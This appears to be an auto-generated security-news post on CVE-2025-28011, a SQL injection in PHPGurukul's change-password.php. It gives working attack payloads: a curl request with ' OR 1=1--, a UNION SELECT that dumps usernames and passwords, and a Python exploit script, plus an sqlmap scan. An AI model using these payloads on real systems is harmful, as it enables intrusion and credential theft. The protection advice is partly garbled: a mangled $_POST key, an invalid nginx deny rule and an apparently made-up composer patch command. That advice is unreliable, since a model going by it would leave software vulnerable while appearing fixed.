PHPGurukul, SQL Injection, CVE-2025-28011 (Critical)

How the CVE Works

CVE-2025-28011 is a critical SQL Injection vulnerability in PHPGurukul User Registration & Login and User Management System v3.3. The flaw exists in loginsystem/change-password.php, where the `currentpassword` POST parameter is improperly sanitized. Attackers can inject malicious SQL queries through this parameter, allowing unauthorized database access, data exfiltration, or arbitrary code execution. The lack of input validation and prepared statements enables attackers to manipulate SQL queries, potentially compromising the entire system.

DailyCVE Form

Platform: PHPGurukul
Version: 3.3
Vulnerability: SQL Injection
Severity: Critical
Date: 03/28/2025

What Undercode Say:

Exploitation:

1. Craft Malicious POST Request:

curl -X POST http://target.com/loginsystem/change-password.php -d "currentpassword=' OR 1=1--"

2. Extract Database Info:

' UNION SELECT username, password FROM users--

3. Automated Exploit (Python):

import requests
payload = {"currentpassword": "' OR 1=1--"}
response = requests.post("http://target.com/change-password.php", data=payload)
print(response.text)

Protection:

1. Input Sanitization:

$password = mysqli_real_escape_string($conn, $_POST[bash]);

2. Prepared Statements:

$stmt = $conn->prepare("UPDATE users SET password=? WHERE id=?");
$stmt->bind_param("si", $new_password, $user_id);

3. WAF Rules:

location ~ change-password.php {
deny ' OR 1=1;
}

4. Patch Upgrade:

composer update phpGurukul/core

Detection:

1. SQLi Scanning (SQLmap):

sqlmap -u "http://target.com/change-password.php" --data="currentpassword=test" --risk=3

2. Log Analysis:

grep "OR 1=1" /var/log/apache2/access.log

Mitigation:

  • Disable `change-password.php` if unused.
  • Implement rate-limiting.
  • Deploy IDS/IPS with SQLi signatures.

References:

References:

Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-28011
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top